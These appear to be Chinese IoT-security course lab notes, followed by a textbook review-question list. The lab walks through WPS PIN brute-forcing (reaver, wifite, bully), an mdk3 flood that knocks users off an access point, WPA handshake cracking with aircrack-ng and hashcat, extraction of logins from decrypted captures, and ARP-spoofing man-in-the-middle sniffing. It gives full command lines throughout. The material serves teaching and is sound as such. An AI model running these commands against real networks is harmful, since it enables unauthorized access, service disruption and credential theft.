实验部分
WIFI密码破解之WPS加密
实验原理:WPS(Wi-Fi Protected Setup)是由Wi-Fi联盟组织实施的可选认证项目,主要是为了简化无线局域网安全及安全性能的配置工作。用户只需要简单按下路由器上的WPS按钮或者输入PIN码,即可快速连接到Wi-Fi网络。
WPS PIN码共8位,其中第8位是校验和,所以只需计算出前7位即可。在实施PIN破解时,可以分别判断PIN的前四位和后三位是否正确。因此,PIN码只有10^4+10^3=11000种变化。
那么在实际破解尝试中,最多只需试验11000次,平均只需试验5500次就能破解。reaver
1. 开启无线网卡的监听模式
airmon-ng start wlan0
2.使用wash工具扫描开启WPS的AP
wash -i wlan0mon
BSSID AP 的MAC地址 Ch AP的工作信道 选项 说明 dBm 接收的信号强度 WPS WPS的版本 Lck WPS是否锁定 Vendor 生成厂商 ESSID AP的SSID 查看有WPS功能的AP
airodump-ng --wps wlan0mon
3. 使用reaver工具进行破解
Reaver是一款暴力破解PIN码的工具,将尝试一系列的PIN码,直到破解出正确的PIN码,而且还可以恢复出WPA/WPA2密码。其语法格式如下:
reaver -i [interface] -b [ap的mac地址]
参数说明:
选项 说明 -i 指定监听的无线接口 -b 指定目标AP的mac地址 -S 使用最小的DH key,可以提高破解速度 -v ; -vv ; -q 显示非严重警告 ; 显示更多, 相对应的 ; 只显示关键信息 -d 即delay每穷举一次的闲置时间,预设为1秒 -c 信道号码 -p 使用指定PIN码的四位或八位开始破解。
reaver -i wlan0mon -b 18:D9:8F:66:CD:7C -v -S
使用指定PIN码进行破解,以“Netsec109_2”作为攻击目标
reaver -i wlan0mon -b 64:09:80:17:ED:2F -p 1234 -vv -S
wifite
wifite是一款自动化WEP、WPA和 WPS破解工具。用于破解WPS加密的语法格式如下:
1 | wifite --wps --wps-only --bully |
选项 | 说明 |
---|---|
–wps | 仅显示启用WPS功能的无线网络。 |
–wps-only | 仅实施WPS PIN和Pixie-Dust攻击。 |
–bully | 使用bully程序实施WPS PIN和Pixie-Dust攻击。 |
–ignore-locks | 当AP锁定后,继续WPS PIN攻击。 |
1 | wifite --wps --wps-only --bully --ignore-locks |
选择一个想要攻击的编号
Bully
Bully也是一款利用路由器的WPS漏洞来破解WIFI的工具。其语法格式如下:
1 | bully --bssid [AP的MAC地址] -c [channel] [interface] -vv |
选项 | 说明 |
---|---|
interface | 指定监听的无线接口。 |
-b,–bssid | 指定目标AP的MAC地址。 |
-c,–channel | 指定目标AP工作的信道。 |
-vv | 显示更详细的信息。 |
1 | bully --bssid 18:D9:8F:66:CD:7C wlan0mon -c 11 |
防止锁PIN
目前,大部分路由器都自带防PIN功能。当穷举PIN码暴力破解时,连续使用超过特定次数的PIN码后,路由器会暂时锁定WPS功能一段时间。这种情况,需要耐心等待其恢复WPS功能。也可以使用mdk3发起洪水攻击,使得路由器合法用户无法使用网络,从而迫使路由器主人重启路由器,即可解除PIN锁。
AP认证洪水攻击,就是向AP发送大量虚假的连接请求。当发送的请求超过AP所能承受的范围时,AP就会自动断开现有连接,使得合法用户无法使用网络。其语法格式如下:
1 | mdk3 <interface> a <test_options> |
选项 | 说明 |
---|---|
interface | 指定用于攻击的网络接口,需是监听模式的接口。 |
a | 实施身份验证洪水攻击模式。 |
-a | 指定要攻击的目标AP的MAC地址。 |
1 | mdk3 wlan0mon a -a 18:D9:8F:66:CD:7C |
使用airodump-ng监测,可以看到界面下方瞬间出现了大量的伪造客户端,且连接的目标AP均为”18:D9:8F:66:CD:7C”。
1 | airodump-ng wlan0mon -c 11 --bssid 18:D9:8F:66:CD:7C |
WPA握手包破解原理
实验原理:WPA密码其实叫PSK(pre-shared key),它加上ssid通过一定的算法可以得到PMK(pairwise master key): $$ PMK=SHA_1(ssid,psk) $$
PMK的长度是定长的,都是64字节。由于计算PMK的过程开销比较大,是我们破解花费时间长的关键,所以采用以空间换时间的原则把PMK事先生成好,这个事先生成好的表就是常说的HASH表,这个工作就是用airlib-ng这个工具来完成。
目前的破解方法是我们获得握手包后,用我们字典中的PSK+ssid生成PMK,然后结合握手包中的(客户端MAC,AP的BSSID,$A_NONCE$,$S_NONCE$)计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。
airolib-ng
airolib-ng是Aircrack-ng套装里的又一个工具,用来存储和处理网络名和密码表。通过计算PMK,用于WPA/WPA2的破解。其语法格式如下:
1 | airolib <database> <operation> [options] |
选项 | 说明 |
---|---|
database | 表示数据库文件,可以是绝对路径。 |
operation | 指定了我们要对数据库进行的操作。 |
–import {essid|passwd} {file} | 导入含有网络名或者秘钥列表的文本文件。文件每行需含一个网络名或者密码,以换行符结束(这样读入时就会被当做“enter”)。 |
–batch | 开始计算所有网络名和密码的组合。此命令需用在aircrack-ng破解之前。当数据库添加了新的SSID或者密码时,也许重新计算。 |
–export cowpatty [essid] [file] | 导出为cowpatty文件。 |
–sql {sql} | 执行所给的SQL语句。 |
airolib-ng –help | 查看帮助文档。 |
1.创建包含ESSID的文档
创建包含ESSID的文档,每行含有一个ESSID。创建名称为gryffinbit(名称自取)的数据库,向数据库插入ESSID。
1 | airolib-ng gryffinbit --import essid /root/ssid.txt |
2.创建包含密码的文档,并向rainbow数据库插入密码。
1 | airolib-ng gryffinbit --import password /root/password.txt |
3.批量生产PMK数据。
1 | airolib-ng gryffinbit --batch |
查看数据的状态
1 | airolib-ng gryffinbit --stats |
可以看到,当前数据库中有11个ESSID和16个密码,并且已成功对其进行了计算。
4.使用aircrack-ng进行破解
1 | aircrack-ng -r gryffinbit -e helloworld handshake-01.cap |
选项 | 说明 |
---|---|
-r | 指定PMK数据库 |
-e | 指定ESSID |
也可以选择使用Cowpatty工具进行破解。Cowpatty是一款Linux下用于破解WPA-PSK加密的工具。其语法格式如下:
1 cowpatty [options]
选项 说明 -d Hash表 -r 含有握手包的cap文件 -s AP的ESSID 在使用Cowpatty之前,需要先提取用于cowpatty跑的hash 表。
1 airolib-ng gryffinbit --export cowpatty helloworld R_table然后就可以使用Cowpatty工具。
1 cowpatty -s kong -d R_table -r .cap
使用airolib-ng生成PMK数据后,可以对该数据进行管理,比如导入第三方数据、校验数据和清理数据。
导入ssidlist.txt 文件中的ESSID到数据库。
1 airolib-ng gryffinbit --import password /root/password.txt导入pword.txt 文件中的密码到数据库。
1 airolib-ng gryffinbit --import essid /root/ssidlist.txt使用–verify选项校验数据,以验证数据库的状态正常。也可以使用–clean选项进行数据清理。
1 airolib-ng gryffinbit --verify可以使用下面的命令行插入单个ESSID。插入单个密码也可类似操作。
1 echo Love | airolib-ng gryffinbit --import essid -
hashcat工具
hashcat一款强大的开源密码恢复工具。该工具可以利用CPU或GPU资源,破解多种hash类型的密码。当捕获握手包以后,可以使用该工具快速的破解出WPA密码。使用hashcat工具破解WPA的语法格式如下:
1 | hashcat -m 2500 [pcap file ] [words] --force |
选项 | 说明 |
---|---|
-m | 指定使用的hash类型,与WPA相关的hash如下图。 |
Words | 指定要使用的字典。 |
–force | 忽略警告信息。 |
hashcat –help | 查看帮助文档。 |
1.使用aircrack-ng将捕获的握手包文件转换为hccapx格式。
1 | aircrack-ng test-01.cap -j hashcattest |
2.使用hashcat工具进行破解。
1 | hashcat -m 2500 hashcattest.hccapx /root/password.txt --force |
客户端行为分析
使用airdecap-ng永久解密WPA数据包
airdecap-ng -e wlantest -p qwerty123 new-01.cap
用
http.request==1
进行过滤,获取客户端请求的网站和网页内容。
从info列可以看到请求的网站内容。后缀名为.png、.jpeg的文件都为图片。复制请求的网址,即可查看到请求的完整图片。比如复制上图中URI的值,得到详细网址http://cam.tju.edu.cn/uploads/image/20210422/20210422072727_84986.jpg 在浏览器即可查看图片内容。
用
http.request.method==POST
快速过滤出使用POST方式提交的数据包,获取客户端提交的登录信息。可以看到login,username,submit等信息。通过DNS记录查看客户端使用的程序,使用
dns
过滤器,快速过滤出所有DNS协议包。
可以看到所有DNS查询(query)和响应(query response)的包。通过查看info列的详细信息,可以看到客户端请求解析的域名。通过查看响应包的详细信息,即可知道服务器的IP地址。
过滤后展示了域名为wsjf.cdut.edu.cn的服务器IP地址为202.115.140.178。当用户使用QQ程序时,会捕获到大量的OICQ协议包。因此可以通过过滤器
oicq
,查看客户端是否运行了QQ程序。可以看到过滤了许多OICQ协议包,从包的详细信息可以看到数据包请求的命令、序列号、QQ号及是否有数据传输等信息。httpry是一款HTTP数据包嗅探工具,可以提取HTTP。
先使用命令apt-get install httpry安装,安装成功后,就可以提取HTTP访问记录httpry -r new-01-dec.cap
可以看到提取到的所有HTTP访问记录。输出信息分为6个部分,分别是时间、源地址、目标地址、请求方法、主机名和包信息。Ettercap是一款基于ARP地址欺骗方式的网络嗅探工具。该工具不仅可以在线监听网络数据包,还可以直接读取捕获文件中的数据包内容,以提取用户的相关信息,如登录用户名和密码等。
其语法格式如下:
ettercap -Tq -r <pcapfile>
1
-T:脱机嗅探。指定该选项后,Ettercap工具将监听一个pcap兼容文件中存储的网络数据包,而不是直接监听网络上的数据包。-q:安全模式,即不显示包内容。-r <pcapfile>:指定打开的捕获文件。
使用 Ettercap工具从 new-01-dec.cap中提取登录信息:
ettercap -Tq -r new-01-dec,cap
可以看到登录网址202.115.133.172:80,用户名和密码。
ARP中间人攻击
实验原理:MITM,全称为Man In The Middle,即中间人。ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,它的诞生使得网络能够更加高效的运行,但其本身也存在缺陷。
ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,这使得攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表,实现攻击。
ARP请求为广播形式发送的,网络上的主机可以自主发送 ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表。
ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器。攻击者再对目标和网关之间的数据进行转发,则可作为一个“中间人”,实现监听目标却又不影响目标正常上网的目的。具体的中间人攻击,大体可以分为以下几个步骤:
- 对目标主机进行ARP欺骗,声称自己是网关。
- 转发目标的NAT数据到网关,维持目标的外出数据。
- 对网关进行ARP欺骗,声称自己是目标主机。
- 转发网关的NAT数据到目标主机,维持目标的接收数据。
- 监听劫持或者修改目标的进入和外出数据,从而实现攻击。
其中1,3都是ARP欺骗;2,4都是转发。
查看网卡,确保wlan0已经连接到目标AP。
ifconfig
查看路由IP
ip route show
在kali系统开启IPV4网络数据包转发功能。
sysctl -w net.ipv4.ip_forward=1
ARP欺骗 以Dsniff工具集的arpspoof命令为例
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
1
-i 指定使用的接口。-c 指定当还原arp配置时t使用的MAC地址,默认为使用原来的MAC。(即当停止arpspoof命令后,默认取消毒化)-t 指定要毒化的主机,如果不指定的话默认为局域网下所有主机。-r 双向毒化(host和target),从而双向捕捉数据。(仅当同时指定 -t的时候才有效)
host 通常是本地网关。所有从target到host的数据包都被重定向到本机。
使用
arpspoof -i wlan0 -t 192.168.3.173 192.168.3.1
进行ARP欺骗,将靶机192.168.3.173发送给192.168.3.1的数据包先发送给kali主机,再由主机转发。使用
arpspoof -i wlan0 -t 192.168.3.1 192.168.3.173
截获来自路由器的数据包。将路由器发给靶机192.168.3.173的数据包先发送给kali主机,再由本机转发。输入
driftnet -i wlan0
进行监控,会弹出一个监控框,在靶机上浏览网页,就会显示出靶机浏览的图片。只能嗅探到没有加密的图片。输入
urlsnarf -i wlan0
嗅探靶机访问的网址。结束攻击,关闭数据包路由功能
sysctl -w net.ipv4.ip_forward=0
还可以使用其他网络活动监视工具,比如filesnarf、mailsnarf、 msgsnarf、 webspy 和 sshow等,使用方式和urlsnarf差不多。也可以通过使用Ettercap来进行ARP欺骗。Ettercap是一个多用途的开源工具,可以用来执行嗅探、主机分析等。输入ettercap -G就可进入图形化操作界面,请大家自行尝试。
课后题部分
检索目录(物联网安全导论第一版【李联宁编著】)
简述物联网的安全特征 P4
物联网从功能上来说具备哪几个特征? P5
按照科学、严谨的表述,物联网结构应分为哪几层? P5
简述物联网中的业务认证机制。 P11
物联网中的加密机制是什么? P12
感知识别层可能遇到的安全挑战包括哪几种情况? P14
物联网中的加密机制实施时的主要困难是什么? P30
物联网密钥管理系统面临哪两个主要问题? P 31
物联网的数据要经过哪几层处理流程? P33
什么是安全路由协议?按路由算法的实现方法划分,通常有哪几种路由? P 33~34
传感器网络可能受到哪几种攻击? 对应的解决方案是什么? P34
无线传感器网络中的认证技术有哪几种? P 35
古典密码学主要分成哪几种类型?请详述其中一种。 P41
基于零知识证明的识别技术原理是什么? P72
物联网密钥管理流程有哪些步骤? P74~76
依据标签的能量来源可以将标签分为哪几大类? P 84
RFID 攻击模式有哪几种? P86
简要说明RFID 系统的通信模型。 P87
安全RFID 系统的基本特征是什么 ? P89 ~ 90
EPC 系统安全问题主要有哪几大类 ? P 93
请进行EPC global系统的纵向安全和隐私威胁分析。 P94
针对RFID EPC标签的个人隐私威胁有哪些? P95
如何采用密码机制解决RFID的安全问题?举两三个例子对RFID安全协议进行说明。 P97
无线传感器网络与安全相关的特点有哪些? P105
简单分析无线传感器网络的安全威胁。 P106
无线传感器网络的攻击形式有哪几种? P 108~109
如何采用安全路由来增加网络的安全性?有哪些常用的方式? P112
简述涉及无线传感器网络的4种安全技术 P113~114
简要说明ZigBee技术在安全方面的具体特点。 P118~119
什么是ZigBee信任中心?它能提供哪几种功能? P122
为了满足安全性需求。ZigBee标准使用哪几种方法来确保安全? P123
简要解释物联网网络构建层的安全分类? P127
如何保证无线网络的安全连接? P127~128
无线通信网络中的不安全因素主要有哪几个方面? P129~ 131
简述WAP应用面临的安全威胁。 P 132
为了应对这些安全漏洞,目前已经提出的端到端的安全模型主要有哪几种? P134
蓝牙服务的安全主要由哪几方面来保证? P145
感知终端目前存在的主要问题是什么? P156
进行操作系统、数据库管理系统和中间件的类比。 P212
按网络功能子系统细分,有哪几类网络中间件? P213
简述云计算逻辑结构。 P 218~219
云计算的主要服务形式有哪几种? P222
云安全主要包含哪两个方面的含义? P225
要想建立云安全系统,并使之正常运行,需要解决哪4个方面的问题? P226
简要说明云计算平台的安全与划分的基本原则。 P253
简单描述信息隐藏和密码技术的区别。 P272
信息加密和隐藏可以分为哪3种模式? P273
信息隐藏技术主要由哪两部分组成? P276
简要说明信息隐藏系统的特征。 P276
信息隐藏的主要方法有哪几种 ? P277
什么是隐藏匿名通信技术? P279
数据隐写术可以分成哪几类? P280
隐蔽信道的定义是什么? P285
通用的数字水印算法包含哪两个基本方面? P297
名词解释
IOT (Internet of Things) 物联网
DES (Data Encryption Standard) 数据加密标准
AES (Advanced Encryption Standard) 高级加密标准
ZKP (Zero Knowledge Proof) 零知识证明
MDP (Minimum Disclosure Proof) 最小泄露证明
RFID (Radio Frequency IDentification) 无线射频识别
PKI (Public Key Infrastructure) 公开密钥基础设施